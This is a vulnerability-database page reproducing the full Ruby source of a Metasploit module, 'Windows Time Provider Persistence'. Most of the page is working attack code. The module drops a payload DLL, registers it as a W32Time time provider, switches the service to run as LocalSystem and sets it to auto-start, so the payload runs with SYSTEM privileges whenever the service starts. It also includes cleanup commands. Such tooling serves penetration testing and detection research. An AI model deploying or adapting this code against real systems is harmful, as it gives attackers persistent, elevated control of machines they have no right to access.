Lucene search
+L

Windows Time Provider Persistence

🗓️ 24 Jan 2020 00:00:00Reported by Emanuele CervelliType 
metasploit
 metasploit
🔗 www.rapid7.com👁 8 Views

Windows W32Time Time Provider persistence via malicious DLL registration executed on service start.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Registry
  include Msf::Post::Windows::Services
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Local::Persistence

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Time Provider Persistence',
        'Description' => %q{
          This module establishes persistence by registering a malicious Time Provider DLL
          under HKLM\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\.
          When the W32Time service starts or restarts, the configured payload DLL is executed.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Emanuele Cervelli',
        ],
        'Platform' => [ 'win' ],
        'Arch' => [ARCH_X64, ARCH_X86],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1209_TIME_PROVIDERS],
          ['URL', 'https://hadess.io/the-art-of-windows-persistence/']
        ],
        'DefaultTarget' => 0,
        # Date the technique was published on MITRE ATT&CK (T1209)
        'DisclosureDate' => '2020-01-24',
        'Notes' => {
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
      OptString.new('PROVIDER_NAME', [false, 'Name of the time provider registry key to create. Random string by default.']),
      OptBool.new('RESTART_SERVICE', [true, 'Restart the W32Time service to trigger the payload immediately.', false])
    ])
  end

  def check
    return CheckCode::Unknown('Administrator or SYSTEM privileges are required') unless is_system? || is_admin?

    print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
    return CheckCode::Safe("#{writable_dir} doesn't exist") unless directory?(writable_dir)

    time_service = service_info('W32Time')
    return CheckCode::Safe('W32Time service not found') if time_service.nil?

    CheckCode::Appears('Target appears vulnerable to Time Provider persistence')
  end

  def install_persistence
    fail_with(Failure::NoAccess, 'Administrator or SYSTEM privileges are required') unless is_system? || is_admin?

    # Snapshot the service's pre-run runtime state so cleanup can restore it faithfully.
    service_was_running = w32time_running?
    vprint_status("W32Time is currently #{service_was_running ? 'running' : 'not running'}")

    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(8)
    payload_name += '.dll' unless payload_name.downcase.end_with?('.dll')
    payload_dll = generate_payload_dll
    payload_pathname = "#{writable_dir}\\#{payload_name}"

    vprint_status("Writing payload to #{payload_pathname}")
    fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_dll)
    print_good("Payload DLL written to #{payload_pathname}")

    provider_name = datastore['PROVIDER_NAME'] || Rex::Text.rand_text_alpha(8)
    w32time_service_key = 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\W32Time'
    reg_key = "#{w32time_service_key}\\TimeProviders\\#{provider_name}"

    if registry_key_exist?(reg_key)
      rm_f(payload_pathname)
      fail_with(Failure::BadConfig, "Time provider '#{provider_name}' already exists at #{reg_key}. Pick a different PROVIDER_NAME.")
    end

    unless registry_createkey(reg_key)
      rm_f(payload_pathname)
      fail_with(Failure::UnexpectedReply, "Failed to create registry key: #{reg_key}")
    end

    unless registry_setvaldata(reg_key, 'DllName', payload_pathname, 'REG_EXPAND_SZ')
      clean_up_reg(reg_key, payload_pathname)
      fail_with(Failure::UnexpectedReply, "Failed to write registry value: #{reg_key}\\Driver")
    end

    unless registry_setvaldata(reg_key, 'Enabled', 1, 'REG_DWORD')
      clean_up_reg(reg_key, payload_pathname)
      fail_with(Failure::UnexpectedReply, "Failed to write registry value: #{reg_key}\\Enabled")
    end

    unless registry_setvaldata(reg_key, 'InputProvider', 1, 'REG_DWORD')
      clean_up_reg(reg_key, payload_pathname)
      fail_with(Failure::UnexpectedReply, "Failed to write registry value: #{reg_key}\\InputProvider")
    end

    # Save the current ObjectName (service account) so we can restore it during cleanup.
    original_object_name = registry_getvaldata(w32time_service_key, 'ObjectName')
    if original_object_name.nil? || original_object_name.empty?
      print_warning("Could not read original 'ObjectName' for W32Time; cleanup will fall back to 'NT AUTHORITY\\LocalService'.")
      original_object_name = 'NT AUTHORITY\\LocalService'
    end

    # Elevate the Service privileges context, otherwise it will execute as Local Service
    unless registry_setvaldata(w32time_service_key, 'ObjectName', 'LocalSystem', 'REG_SZ')
      print_warning('Failed to alter service privileges. W32Time service will run with Local Service privileges.')
    end

    # Save the current Start value
    original_start_value = registry_getvaldata(w32time_service_key, 'Start')
    if original_start_value.nil?
      print_warning("Could not read original 'Start' value for W32Time; cleanup will fall back to Manual (3).")
      original_start_value = 3
    end

    # W32Time might not be configured to start at boot
    if service_change_startup('w32time', 'auto')
      vprint_good('Successfully configured W32Time startup type to Automatic.')
    else
      print_warning('Failed to configure W32Time startup flag to Automatic.')
    end

    print_good('Registry key written')

    if datastore['RESTART_SERVICE']
      vprint_status('Attempting to restart W32Time service for immediate payload trigger...')
      if service_restart('W32Time')
        print_good('W32Time service restarted successfully')
      else
        print_warning('Unable to cleanly restart W32Time service.')
      end
    end

    # 1. Stop the W32Time service
    @clean_up_rc << "execute -f cmd.exe -a '/c taskkill /f /fi \"SERVICES eq w32time\"' -i -H\n"

    # 2. Revert the service account back to its original context
    @clean_up_rc << "reg setval -k '#{w32time_service_key}' -v 'ObjectName' -d '#{original_object_name}' -t 'REG_SZ'\n"

    # 3. Remove the specific custom Time Provider key
    @clean_up_rc << "reg deletekey -k '#{reg_key}'\n"

    # 4. Revert the startup type back to Manual
    @clean_up_rc << "reg setval -k '#{w32time_service_key}' -v 'Start' -d #{original_start_value} -t 'REG_DWORD'\n"

    # 5. Remove the payload binary from disk
    @clean_up_rc << "execute -f cmd.exe -a '/c del \"#{payload_pathname}\"' -i -H\n"

    # 6. Restore the original run state: only restart if it was running before the run
    if service_was_running
      @clean_up_rc << "execute -f cmd.exe -a '/c net start w32time' -H\n"
    else
      vprint_status('W32Time was not running before the run; cleanup will leave it stopped.')
    end
  end

  def clean_up_reg(reg_key, payload_pathname)
    print_status("Cleaning up: removing #{reg_key} and #{payload_pathname}")
    registry_deletekey(reg_key)
    rm_f(payload_pathname)
  end

  def w32time_running?
    status = service_status('W32Time')
    status && status[:state] == SERVICE_RUNNING
  rescue StandardError => e
    print_warning("Could not query W32Time run state (#{e.message}); assuming it was running.")
    true
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Jan 2020 00:00Current
5.9Medium risk
Vulners AI Score5.9
8